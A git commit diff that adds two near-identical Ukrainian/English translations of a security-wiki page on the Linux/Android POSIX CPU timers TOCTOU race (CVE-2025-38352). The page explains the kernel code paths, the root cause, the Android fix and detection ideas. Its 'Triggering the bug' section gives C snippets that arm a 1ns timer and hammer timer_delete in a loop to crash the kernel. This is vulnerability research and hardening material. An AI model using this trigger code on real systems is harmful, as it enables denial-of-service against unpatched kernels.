Translated ['src/binary-exploitation/linux-kernel-exploitation/posix-cpu

This commit is contained in:
Translator 2025-09-30 00:43:22 +00:00
parent eb816f04a5
commit c686ec6085
3 changed files with 393 additions and 0 deletions

View File

@ -937,3 +937,5 @@
- [Post Exploitation](todo/post-exploitation.md)
- [Investment Terms](todo/investment-terms.md)
- [Cookies Policy](todo/cookies-policy.md)
- [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

View File

@ -0,0 +1,196 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
На цій сторінці задокументовано TOCTOU race у POSIX CPU timers для Linux/Android, що може пошкодити стан таймера та спричинити падіння ядра, а за певних обставин — бути спрямоване на ескалацію привілеїв.
- Затронутий компонент: kernel/time/posix-cpu-timers.c
- Примітив: гонка expiry vs deletion під час виходу task
- Залежить від конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Короткий огляд внутрішньої роботи (важливий для експлуатації)
- Три CPU-годинники керують обліком таймерів через cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- При створенні таймера він зв'язується з task/pid і ініціалізуються вузли timerqueue:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
- Активування вставляє у per-base timerqueue і може оновити кеш next-expiry:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Fast path уникає витратної обробки, якщо кешовані терміни спливу не вказують на можливе спрацьовування:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
Expiration збирає прострочені таймери, позначає їх як спрацьовані, переміщує їх із черги; фактична доставка відкладена:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Два режими обробки спрацьовування
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в IRQ context
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
У IRQ-context path firing list обробляється поза sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU між спрацьовуванням у контексті IRQ та одночасним видаленням під час виходу задачі
Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- The target task is exiting but not fully reaped
- Another thread concurrently calls posix_cpu_timer_del() for the same timer
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Це запобігає входу в handle_posix_cpu_timers() для задач, що виходять, усуваючи вікно, коли posix_cpu_timer_del() може пропустити it.cpu.firing і змагатися з обробкою закінчення.
Impact
- Пошкодження пам'яті ядра структур таймерів під час одночасного завершення/видалення може призвести до негайних аварій (DoS) і є потужним примітивом для підвищення привілеїв через можливості довільної маніпуляції станом ядра.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- З суміжного потоку одночасно видаліть той самий таймер, поки цільовий потік завершується:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Підсилювачі гонки: висока частота тиків планувальника, завантаження CPU, цикли повторного виходу/повторного створення потоків. Аварія зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий пошук/блокування task одразу після unlock_task_sighand().
Виявлення та підвищення стійкості
- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається разом з failed cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями в timerqueue під час виходу задачі.
Ключові місця для аудиту (для рецензентів)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли
- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування
- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення спрацьовування "в польоті"; ця перевірка пропускається, коли пошук/блокування task не вдається під час exit/reap
Примітки для дослідження exploitation
- Розкриту поведінку можна надійно використовувати як примітив аварії ядра; перетворення її на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за рамки цього резюме. Ставтеся до будь-якого PoC як до потенційно нестабільного й запускайте лише в емуляторах/VMs.
## Посилання
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,195 @@
# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
{{#include ../../../banners/hacktricks-training.md}}
Ця сторінка документує TOCTOU race у Linux/Android POSIX CPU timers, яка може пошкодити стан таймера та призвести до падіння ядра, а за певних обставин її можна спрямувати на privilege escalation.
- Постраждалий компонент: kernel/time/posix-cpu-timers.c
- Примітив: expiry vs deletion race під час task exit
- Чутливе до конфігурації: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Короткий огляд внутрішньої роботи (relevant for exploitation)
- Три CPU-годинники ведуть облік для таймерів через cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- При створенні таймера він прив'язується до task/pid і ініціалізуються timerqueue nodes:
```c
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
```
Активування вставляє в чергу таймерів для кожної бази та може оновити кеш наступного спливу:
```c
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
```
- Швидкий шлях уникає витратної обробки, якщо лише кешовані відмітки про закінчення не вказують на можливе спрацювання:
```c
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
```
- Expiration збирає прострочені таймери, позначає їх як такі, що спрацьовують, переміщує їх з черги; фактична доставка відкладена:
```c
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
```
Два режими обробки спрацьовування
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: спрацьовування відтерміновується через task_work у цільовому task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: спрацьовування обробляється безпосередньо в контексті IRQ
```c
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
```
У IRQ-context path, firing list обробляється поза sighand.
```c
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
```
Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
Передумови
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- Цільова задача завершується, але ще не повністю видалена
- Інший потік одночасно виконує posix_cpu_timer_del() для того самого таймера
Sequence
1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
Why TASK_WORK mode is safe by design
- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
Fix (Android common kernel) and rationale
- Add an early return if current task is exiting, gating all processing:
```c
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
```
- Це запобігає входу в handle_posix_cpu_timers() для потоків, що виходять, усуваючи вікно, в якому posix_cpu_timer_del() міг пропустити it.cpu.firing і змагатися з обробкою закінчення.
Impact
- Корупція пам'яті ядра в структурах таймерів під час одночасного expiry/deletion може спричинити миттєві краші (DoS) і є потужним примітивом для privilege escalation через можливості довільної маніпуляції станом ядра.
Triggering the bug (safe, reproducible conditions)
Build/config
- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
Runtime strategy
- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
```c
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
```
- З сестринського потоку, одночасно видалити той самий таймер під час виходу цільового потоку:
```c
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
```
- Race amplifiers: висока частота тікання планувальника, завантаження CPU, повторювані цикли виходу/повторного створення потоків. Краш зазвичай проявляється, коли posix_cpu_timer_del() пропускає виявлення спрацьовування через невдалий lookup/locking задачі безпосередньо після unlock_task_sighand().
Detection and hardening
- Mitigation: застосувати захист exit_state; за можливості віддавати перевагу увімкненню CONFIG_POSIX_CPU_TIMERS_TASK_WORK.
- Observability: додати tracepoints/WARN_ONCE навколо unlock_task_sighand()/posix_cpu_timer_del(); сповіщати, коли it.cpu.firing==1 спостерігається одночасно з невдалим cpu_timer_task_rcu()/lock_task_sighand(); стежити за невідповідностями timerqueue під час виходу задачі.
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
- collect_timerqueue(): встановлює ctmr->firing і переміщує вузли
- handle_posix_cpu_timers(): скидає sighand перед циклом спрацьовування
- posix_cpu_timer_del(): покладається на it.cpu.firing для виявлення одночасного expiry; ця перевірка пропускається, коли lookup/lock задачі не вдається під час exit/reap
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; перетворення цього на privilege escalation зазвичай потребує додаткового контрольованого перекриття (object lifetime або write-what-where вплив), що виходить за межі цього резюме. Розглядайте будь‑який PoC як потенційно дестабілізуючий і запускайте лише в емуляторах/VMs.
## Посилання
- [Race Against Time in the Kernels Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
{{#include ../../../banners/hacktricks-training.md}}